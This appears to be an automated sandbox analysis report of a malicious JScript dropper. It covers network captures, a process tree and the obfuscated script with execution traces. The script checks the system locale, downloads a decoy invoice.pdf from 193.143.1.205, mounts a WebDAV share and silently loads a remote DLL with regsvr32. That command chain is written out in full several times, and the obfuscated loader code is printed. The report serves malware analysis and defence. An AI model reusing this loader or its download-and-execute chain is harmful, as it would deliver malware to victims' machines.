Jan 11, 2025 01:45:41.501507044 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:45:41.501518011 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:45:41.501528025 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 01:45:41.501538992 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 01:45:41.501549959 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 01:45:41.501570940 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 01:45:41.501581907 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 01:45:41.501593113 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 11, 2025 01:45:41.501604080 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 11, 2025 01:45:41.558965921 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	5740	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:45:43.296456099 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:45:44.062144041 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:45:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:45:36
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js"
Imagebase:	0x7ff63f8a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:45:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Imagebase:	0x7ff738450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:45:36
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:45:36
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:45:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:45:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff738450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:45:41
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e1900000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:45:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:45:42
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:45:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1544,i,1808535694798549157,12616160667384568895,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vjldhsk() {	vjldhsk() ➔ undefined
1	dhxbhlr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kgqkl = this[qbzxu + zdoinges + zrnwphsb + adbewhq + wdkgncv + bkqhyhjap + kxkynaav + fofanspeu] ( this[vmajsrfmz + eyzluumjf + iyxhsq + zrnwphsb + yrzsy + qbzxu + fofanspeu][wzkreedm + zrnwphsb + wdkgncv + zdoinges + fofanspeu + wdkgncv + nyczsead + zopjnjxi + irgcfdew + wdkgncv + iyxhsq + fofanspeu] ( vmajsrfmz + eyzluumjf + iyxhsq + zrnwphsb + yrzsy + qbzxu + fofanspeu + dycylaju + eyzluumjf + ngguzk + wdkgncv + qvjvjssl + qvjvjssl ) [gofjo + wdkgncv + voxfamfb + gofjo + wdkgncv + zdoinges + lmvjbistj] ( mtuhezrfs + osgzaftf + zxnatern + phoigeeg + dzqximgjb + wzkreedm + mqpiquy + gofjo + gofjo + zxnatern + rarxpani + whokjwr + dzqximgjb + mqpiquy + eyzluumjf + zxnatern + gofjo + ljvtx + wzkreedm + qznmo + kxkynaav + fofanspeu + zrnwphsb + qznmo + qvjvjssl + autnd + uokexlbta + zdoinges + kxkynaav + wdkgncv + qvjvjssl + ljvtx + bkqhyhjap + kxkynaav + fofanspeu + wdkgncv + zrnwphsb + kxkynaav + zdoinges + fofanspeu + yrzsy + qznmo + kxkynaav + zdoinges + qvjvjssl + ljvtx + tkjmazt + qznmo + iyxhsq + zdoinges + qvjvjssl + wdkgncv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xgtvkcajj = 0 ; xgtvkcajj < dhxbhlr[qvjvjssl + wdkgncv + kxkynaav + voxfamfb + fofanspeu + ngguzk] ; ++ xgtvkcajj )
4	{
5	if ( kgqkl == dhxbhlr[xgtvkcajj] )
6	{
7	kgqkl = true;
8	break ;
9	}
10	}
11	if ( kgqkl !== true )
12	this[vmajsrfmz + eyzluumjf + iyxhsq + zrnwphsb + yrzsy + qbzxu + fofanspeu][ujwzorcm + rvnxybpct + yrzsy + fofanspeu] ( );
13	this[vmajsrfmz + eyzluumjf + iyxhsq + zrnwphsb + yrzsy + qbzxu + fofanspeu][wzkreedm + zrnwphsb + wdkgncv + zdoinges + fofanspeu + wdkgncv + nyczsead + zopjnjxi + irgcfdew + wdkgncv + iyxhsq + fofanspeu] ( vmajsrfmz + eyzluumjf + iyxhsq + zrnwphsb + yrzsy + qbzxu + fofanspeu + dycylaju + eyzluumjf + ngguzk + wdkgncv + qvjvjssl + qvjvjssl ) [zrnwphsb + rvnxybpct + kxkynaav] ( iyxhsq + srnthie + lmvjbistj + autnd + mqdkfvgt + iyxhsq + autnd + qbzxu + qznmo + vwtcfis + wdkgncv + zrnwphsb + adbewhq + ngguzk + wdkgncv + qvjvjssl + qvjvjssl + dycylaju + wdkgncv + hduufe + wdkgncv + autnd + ryfbo + wzkreedm + qznmo + srnthie + srnthie + zdoinges + kxkynaav + lmvjbistj + autnd + ctabm + bkqhyhjap + kxkynaav + fbictjebi + qznmo + xmiir + wdkgncv + ryfbo + vmajsrfmz + wdkgncv + zopjnjxi + gofjo + wdkgncv + hfmsa + rvnxybpct + wdkgncv + adbewhq + fofanspeu + autnd + ryfbo + nyczsead + rvnxybpct + fofanspeu + xahutxrry + yrzsy + qvjvjssl + wdkgncv + autnd + cpvnhfqtn + fofanspeu + wdkgncv + srnthie + qbzxu + cpvnhfqtn + ljvtx + yrzsy + kxkynaav + fbictjebi + qznmo + yrzsy + iyxhsq + wdkgncv + dycylaju + qbzxu + lmvjbistj + xnhlw + autnd + ngguzk + fofanspeu + fofanspeu + qbzxu + mjeldffy + mqdkfvgt + mqdkfvgt + pchle + dgfhpfo + ftvmn + dycylaju + pchle + gbhkye + ftvmn + dycylaju + pchle + dycylaju + omibn + dsoqh + pcvrebz + mqdkfvgt + yrzsy + kxkynaav + fbictjebi + qznmo + yrzsy + iyxhsq + wdkgncv + dycylaju + qbzxu + ngguzk + qbzxu + ctabm + qzovx + qzovx + adbewhq + fofanspeu + zdoinges + zrnwphsb + fofanspeu + autnd + cpvnhfqtn + fofanspeu + wdkgncv + srnthie + qbzxu + cpvnhfqtn + ljvtx + yrzsy + kxkynaav + fbictjebi + qznmo + yrzsy + iyxhsq + wdkgncv + dycylaju + qbzxu + lmvjbistj + xnhlw + qzovx + qzovx + iyxhsq + srnthie + lmvjbistj + autnd + mqdkfvgt + iyxhsq + autnd + kxkynaav + wdkgncv + fofanspeu + autnd + rvnxybpct + adbewhq + wdkgncv + autnd + ljvtx + ljvtx + pchle + dgfhpfo + ftvmn + dycylaju + pchle + gbhkye + ftvmn + dycylaju + pchle + dycylaju + omibn + dsoqh + pcvrebz + gihifsw + mtwim + mtwim + mtwim + mtwim + ljvtx + lmvjbistj + zdoinges + fbictjebi + vwtcfis + vwtcfis + vwtcfis + zrnwphsb + qznmo + qznmo + fofanspeu + ljvtx + qzovx + qzovx + iyxhsq + srnthie + lmvjbistj + autnd + mqdkfvgt + iyxhsq + autnd + zrnwphsb + wdkgncv + voxfamfb + adbewhq + fbictjebi + zrnwphsb + ftvmn + omibn + autnd + mqdkfvgt + adbewhq + autnd + ljvtx + ljvtx + pchle + dgfhpfo + ftvmn + dycylaju + pchle + gbhkye + ftvmn + dycylaju + pchle + dycylaju + omibn + dsoqh + pcvrebz + gihifsw + mtwim + mtwim + mtwim + mtwim + ljvtx + lmvjbistj + zdoinges + fbictjebi + vwtcfis + vwtcfis + vwtcfis + zrnwphsb + qznmo + qznmo + fofanspeu + ljvtx + mtwim + dsoqh + ziwieszwm + pcvrebz + dgfhpfo + dgfhpfo + pcvrebz + pcvrebz + omibn + dsoqh + pchle + dgfhpfo + dycylaju + lmvjbistj + qvjvjssl + qvjvjssl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll",0,false) ➔ 0
14	}
15	irgcfdew = "H";
16	irgcfdew = "d";
17	irgcfdew = "o";
18	irgcfdew = "f";
19	irgcfdew = "Q";
20	irgcfdew = "e";
21	irgcfdew = "r";
22	irgcfdew = "e";
23	irgcfdew = "e";
24	irgcfdew = "h";
25	irgcfdew = "P";
26	irgcfdew = "Y";
27	irgcfdew = "s";
28	irgcfdew = "o";
29	irgcfdew = "s";
30	irgcfdew = "c";
31	irgcfdew = "N";
32	irgcfdew = "U";
33	irgcfdew = "f";
34	irgcfdew = "B";
35	irgcfdew = "r";
36	irgcfdew = "a";
37	irgcfdew = "A";
38	irgcfdew = "j";
39	rarxpani = "m";
40	rarxpani = "X";
41	rarxpani = "r";
42	rarxpani = "e";
43	rarxpani = "P";
44	rarxpani = "F";
45	rarxpani = "l";
46	rarxpani = "i";
47	rarxpani = "O";
48	rarxpani = "H";
49	rarxpani = "a";
50	rarxpani = "E";
51	rarxpani = "m";
52	rarxpani = "f";
53	rarxpani = "o";
54	rarxpani = "k";
55	rarxpani = "q";
56	rarxpani = "A";
57	rarxpani = "L";
58	rarxpani = "P";
59	rarxpani = "l";
60	rarxpani = "V";
61	rarxpani = "u";
62	rarxpani = "d";
63	rarxpani = "j";
64	rarxpani = "x";
65	rarxpani = "p";
66	rarxpani = "R";
67	rarxpani = "A";
68	rarxpani = "R";
69	rarxpani = "r";
70	rarxpani = "J";
71	rarxpani = "U";
72	rarxpani = "T";
73	rarxpani = "C";
74	rarxpani = "C";
75	rarxpani = "K";
76	rarxpani = "X";
77	rarxpani = "Y";
78	rarxpani = "v";
79	rarxpani = "f";
80	rarxpani = "x";
81	rarxpani = "N";
82	ftvmn = "G";
83	ftvmn = "G";
84	ftvmn = "Y";
85	ftvmn = "a";
86	ftvmn = "M";
87	ftvmn = "R";
88	ftvmn = "s";
89	ftvmn = "O";
90	ftvmn = "e";
91	ftvmn = "H";
92	ftvmn = "U";
93	ftvmn = "z";
94	ftvmn = "M";
95	ftvmn = "Y";
96	ftvmn = "y";
97	ftvmn = "d";
98	ftvmn = "M";
99	ftvmn = "h";
100	ftvmn = "V";
101	ftvmn = "u";
102	ftvmn = "v";
103	ftvmn = "H";
104	ftvmn = "T";
105	ftvmn = "h";
106	ftvmn = "i";
107	ftvmn = "A";
108	ftvmn = "m";
109	ftvmn = "v";
110	ftvmn = "g";
111	ftvmn = "V";
112	ftvmn = "W";
113	ftvmn = "e";
114	ftvmn = "3";
115	autnd = "X";
116	autnd = "u";
117	autnd = "Z";
118	autnd = "T";
119	autnd = "C";
120	autnd = "C";
121	autnd = "p";
122	autnd = "z";
123	autnd = "p";
124	autnd = "M";
125	autnd = "A";
126	autnd = "x";
127	autnd = "h";
128	autnd = "K";
129	autnd = "B";
130	autnd = "S";
131	autnd = "g";
132	autnd = "Y";
133	autnd = "r";
134	autnd = "U";
135	autnd = "K";
136	autnd = "J";
137	autnd = "a";
138	autnd = "N";
139	autnd = "f";
140	autnd = "s";
141	autnd = "c";
142	autnd = "i";
143	autnd = "C";
144	autnd = "p";
145	autnd = "h";
146	autnd = "L";
147	autnd = "G";
148	autnd = "G";
149	autnd = "f";
150	autnd = "m";
151	autnd = "P";
152	autnd = "q";
153	autnd = "N";
154	autnd = "p";
155	autnd = "l";
156	autnd = "o";
157	autnd = " ";
158	cpvnhfqtn = "L";
159	cpvnhfqtn = "u";
160	cpvnhfqtn = "J";
161	cpvnhfqtn = "I";
162	cpvnhfqtn = "H";
163	cpvnhfqtn = "A";
164	cpvnhfqtn = "M";
165	cpvnhfqtn = "Y";
166	cpvnhfqtn = "l";
167	cpvnhfqtn = "o";
168	cpvnhfqtn = "I";
169	cpvnhfqtn = "q";
170	cpvnhfqtn = "j";
171	cpvnhfqtn = "W";
172	cpvnhfqtn = "Y";
173	cpvnhfqtn = "W";
174	cpvnhfqtn = "U";
175	cpvnhfqtn = "T";
176	cpvnhfqtn = "%";
177	zxnatern = "r";
178	zxnatern = "j";
179	zxnatern = "t";
180	zxnatern = "T";
181	zxnatern = "b";
182	zxnatern = "Z";
183	zxnatern = "a";
184	zxnatern = "h";
185	zxnatern = "t";
186	zxnatern = "k";
187	zxnatern = "i";
188	zxnatern = "q";
189	zxnatern = "R";
190	zxnatern = "r";
191	zxnatern = "h";
192	zxnatern = "Z";
193	zxnatern = "W";
194	zxnatern = "M";
195	zxnatern = "f";
196	zxnatern = "f";
197	zxnatern = "R";
198	zxnatern = "E";
199	hduufe = "y";
200	hduufe = "d";
201	hduufe = "E";
202	hduufe = "N";
203	hduufe = "c";
204	hduufe = "I";
205	hduufe = "s";
206	hduufe = "w";
207	hduufe = "C";
208	hduufe = "Z";
209	hduufe = "F";
210	hduufe = "N";
211	hduufe = "h";
212	hduufe = "H";
213	hduufe = "r";
214	hduufe = "C";
215	hduufe = "j";
216	hduufe = "S";
217	hduufe = "x";
218	zopjnjxi = "x";
219	zopjnjxi = "F";
220	zopjnjxi = "R";
221	zopjnjxi = "w";
222	zopjnjxi = "a";
223	zopjnjxi = "A";
224	zopjnjxi = "W";
225	zopjnjxi = "T";
226	zopjnjxi = "c";
227	zopjnjxi = "p";
228	zopjnjxi = "t";
229	zopjnjxi = "a";
230	zopjnjxi = "h";
231	zopjnjxi = "Y";
232	zopjnjxi = "v";
233	zopjnjxi = "b";
234	mjeldffy = "c";
235	mjeldffy = "A";
236	mjeldffy = "H";
237	mjeldffy = "L";
238	mjeldffy = "q";
239	mjeldffy = "d";
240	mjeldffy = "y";
241	mjeldffy = "x";
242	mjeldffy = "P";
243	mjeldffy = "Q";
244	mjeldffy = "Y";
245	mjeldffy = "z";
246	mjeldffy = "J";
247	mjeldffy = "H";
248	mjeldffy = "R";
249	mjeldffy = "S";
250	mjeldffy = "z";
251	mjeldffy = "p";
252	mjeldffy = "Q";
253	mjeldffy = "L";
254	mjeldffy = "P";
255	mjeldffy = "B";
256	mjeldffy = "M";
257	mjeldffy = "W";
258	mjeldffy = "Y";
259	mjeldffy = "O";
260	mjeldffy = "U";
261	mjeldffy = "b";
262	mjeldffy = "F";
263	mjeldffy = "O";
264	mjeldffy = "X";
265	mjeldffy = ":";
266	yrzsy = "n";
267	yrzsy = "i";
268	yrzsy = "U";
269	yrzsy = "S";
270	yrzsy = "c";
271	yrzsy = "J";
272	yrzsy = "Y";
273	yrzsy = "m";
274	yrzsy = "l";
275	yrzsy = "S";
276	yrzsy = "y";
277	yrzsy = "v";
278	yrzsy = "w";
279	yrzsy = "S";
280	yrzsy = "A";
281	yrzsy = "K";
282	yrzsy = "M";
283	yrzsy = "i";
284	adbewhq = "o";
285	adbewhq = "M";
286	adbewhq = "g";
287	adbewhq = "D";
288	adbewhq = "V";
289	adbewhq = "L";
290	adbewhq = "q";
291	adbewhq = "L";
292	adbewhq = "M";
293	adbewhq = "x";
294	adbewhq = "o";
295	adbewhq = "p";
296	adbewhq = "Z";
297	adbewhq = "w";
298	adbewhq = "z";
299	adbewhq = "B";
300	adbewhq = "F";
301	adbewhq = "m";
302	adbewhq = "V";
303	adbewhq = "v";
304	adbewhq = "J";
305	adbewhq = "V";
306	adbewhq = "D";
307	adbewhq = "m";
308	adbewhq = "r";
309	adbewhq = "M";
310	adbewhq = "A";
311	adbewhq = "o";
312	adbewhq = "j";
313	adbewhq = "C";
314	adbewhq = "t";
315	adbewhq = "Q";
316	adbewhq = "d";
317	adbewhq = "a";
318	adbewhq = "y";
319	adbewhq = "f";
320	adbewhq = "U";
321	adbewhq = "P";
322	adbewhq = "L";
323	adbewhq = "B";
324	adbewhq = "T";
325	adbewhq = "N";
326	adbewhq = "K";
327	adbewhq = "s";
328	tkjmazt = "s";
329	tkjmazt = "n";
330	tkjmazt = "i";
331	tkjmazt = "W";
332	tkjmazt = "m";
333	tkjmazt = "r";
334	tkjmazt = "T";
335	tkjmazt = "u";
336	tkjmazt = "o";
337	tkjmazt = "w";
338	tkjmazt = "K";
339	tkjmazt = "R";
340	tkjmazt = "K";
341	tkjmazt = "R";
342	tkjmazt = "p";
343	tkjmazt = "t";
344	tkjmazt = "W";
345	tkjmazt = "c";
346	tkjmazt = "F";
347	tkjmazt = "F";
348	tkjmazt = "W";
349	tkjmazt = "S";
350	tkjmazt = "h";
351	tkjmazt = "b";
352	tkjmazt = "W";
353	tkjmazt = "R";
354	tkjmazt = "X";
355	tkjmazt = "n";
356	tkjmazt = "L";
357	zdoinges = "O";
358	zdoinges = "K";
359	zdoinges = "F";
360	zdoinges = "i";
361	zdoinges = "y";
362	zdoinges = "B";
363	zdoinges = "S";
364	zdoinges = "S";
365	zdoinges = "x";
366	zdoinges = "F";
367	zdoinges = "B";
368	zdoinges = "g";
369	zdoinges = "I";
370	zdoinges = "o";
371	zdoinges = "w";
372	zdoinges = "r";
373	zdoinges = "R";
374	zdoinges = "Y";
375	zdoinges = "j";
376	zdoinges = "P";
377	zdoinges = "C";
378	zdoinges = "X";
379	zdoinges = "H";
380	zdoinges = "n";
381	zdoinges = "u";
382	zdoinges = "z";
383	zdoinges = "x";
384	zdoinges = "S";
385	zdoinges = "C";
386	zdoinges = "H";
387	zdoinges = "P";
388	zdoinges = "x";
389	zdoinges = "r";
390	zdoinges = "b";
391	zdoinges = "c";
392	zdoinges = "M";
393	zdoinges = "y";
394	zdoinges = "a";
395	eyzluumjf = "n";
396	eyzluumjf = "D";
397	eyzluumjf = "C";
398	eyzluumjf = "A";
399	eyzluumjf = "M";
400	eyzluumjf = "o";
401	eyzluumjf = "h";
402	eyzluumjf = "R";
403	eyzluumjf = "s";
404	eyzluumjf = "S";
405	eyzluumjf = "s";
406	eyzluumjf = "d";
407	eyzluumjf = "y";
408	eyzluumjf = "S";
409	eyzluumjf = "F";
410	eyzluumjf = "c";
411	eyzluumjf = "R";
412	eyzluumjf = "c";
413	eyzluumjf = "w";
414	eyzluumjf = "l";
415	eyzluumjf = "t";
416	eyzluumjf = "m";
417	eyzluumjf = "M";
418	eyzluumjf = "r";
419	eyzluumjf = "I";
420	eyzluumjf = "h";
421	eyzluumjf = "g";
422	eyzluumjf = "t";
423	eyzluumjf = "R";
424	eyzluumjf = "g";
425	eyzluumjf = "l";
426	eyzluumjf = "k";
427	eyzluumjf = "u";
428	eyzluumjf = "P";
429	eyzluumjf = "I";
430	eyzluumjf = "e";
431	eyzluumjf = "J";
432	eyzluumjf = "p";
433	eyzluumjf = "z";
434	eyzluumjf = "H";
